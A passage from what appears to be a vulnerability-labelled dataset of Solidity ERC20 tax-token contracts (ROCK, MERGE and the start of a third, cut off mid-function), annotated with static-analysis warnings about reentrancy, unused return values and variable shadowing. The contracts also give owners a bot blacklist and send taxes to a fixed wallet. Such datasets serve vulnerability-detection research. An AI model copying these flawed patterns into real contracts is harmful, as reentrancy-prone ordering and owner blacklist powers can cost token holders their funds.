087320c\n\t\t\t\t// reentrancy-eth | ID: 420d281\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 087320c\n\t\t\t\t\t// reentrancy-eth | ID: 420d281\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 420d281\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 420d281\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 420d281\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 087320c\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 420d281\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 420d281\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 087320c\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 087320c\n\t\t// reentrancy-events | ID: 144f682\n\t\t// reentrancy-benign | ID: 47a5a2a\n\t\t// reentrancy-eth | ID: 420d281\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 087320c\n\t\t// reentrancy-events | ID: 144f682\n\t\t// reentrancy-eth | ID: 420d281\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8ed35f8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8ed35f8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ec020f3): ROCK.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ec020f3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d301b22): ROCK.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d301b22: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 538b7fa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 538b7fa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 8ed35f8\n\t\t// reentrancy-eth | ID: 538b7fa\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 8ed35f8\n\t\t// unused-return | ID: ec020f3\n\t\t// reentrancy-eth | ID: 538b7fa\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 8ed35f8\n\t\t// unused-return | ID: d301b22\n\t\t// reentrancy-eth | ID: 538b7fa\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 8ed35f8\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 538b7fa\n tradingOpen = true;\n }\n\n function ReduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10643.sol",
"size_bytes": 19837,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MERGE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 235305f): MERGE._taxWallet should be immutable \n\t// Recommendation for 235305f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0081c73): MERGE._initialBuyTax should be constant \n\t// Recommendation for 0081c73: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 05b433b): MERGE._initialSellTax should be constant \n\t// Recommendation for 05b433b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 27def3c): MERGE._reduceBuyTaxAt should be constant \n\t// Recommendation for 27def3c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 506dc0e): MERGE._reduceSellTaxAt should be constant \n\t// Recommendation for 506dc0e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b21b5c5): MERGE._preventSwapBefore should be constant \n\t// Recommendation for b21b5c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"The Merge\";\n\n string private constant _symbol = unicode\"MERGE\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6875ac5): MERGE._taxSwapThreshold should be constant \n\t// Recommendation for 6875ac5: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f067ce9): MERGE._maxTaxSwap should be constant \n\t// Recommendation for f067ce9: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x07C1b41dDBb167c78F46A498845026671B5495e4);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 456f349): MERGE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 456f349: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1b8faa0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1b8faa0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b4b554a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b4b554a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1b8faa0\n\t\t// reentrancy-benign | ID: b4b554a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1b8faa0\n\t\t// reentrancy-benign | ID: b4b554a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9a06b6e): MERGE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9a06b6e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b4b554a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1b8faa0\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a193324): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a193324: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b26992f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b26992f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: a193324\n\t\t\t\t// reentrancy-eth | ID: b26992f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a193324\n\t\t\t\t\t// reentrancy-eth | ID: b26992f\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: b26992f\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: b26992f\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b26992f\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a193324\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b26992f\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b26992f\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a193324\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1b8faa0\n\t\t// reentrancy-events | ID: a193324\n\t\t// reentrancy-benign | ID: b4b554a\n\t\t// reentrancy-eth | ID: b26992f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1b8faa0\n\t\t// reentrancy-events | ID: a193324\n\t\t// reentrancy-eth | ID: b26992f\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0400f9e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0400f9e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0fe12ef): MERGE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0fe12ef: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 70c4c93): MERGE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 70c4c93: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4d70417): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4d70417: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 0400f9e\n\t\t// reentrancy-eth | ID: 4d70417\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 0400f9e\n\t\t// unused-return | ID: 0fe12ef\n\t\t// reentrancy-eth | ID: 4d70417\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0400f9e\n\t\t// unused-return | ID: 70c4c93\n\t\t// reentrancy-eth | ID: 4d70417\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 0400f9e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 4d70417\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10644.sol",
"size_bytes": 19864,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n}\n\ninterface IERC721Errors {\n error ERC721InvalidOwner(address owner);\n\n error ERC721NonexistentToken(uint256 tokenId);\n\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n error ERC721InvalidSender(address sender);\n\n error ERC721InvalidReceiver(address receiver);\n\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n error ERC721InvalidApprover(address approver);\n\n error ERC721InvalidOperator(address operator);\n}\n\ninterface IERC1155Errors {\n error ERC1155InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed,\n uint256 tokenId\n );\n\n error ERC1155InvalidSender(address sender);\n\n error ERC1155InvalidReceiver(address receiver);\n\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n error ERC1155InvalidApprover(address approver);\n\n error ERC1155InvalidOperator(address operator);\n\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n _totalSupply -= value;\n }\n } else {\n unchecked {\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) 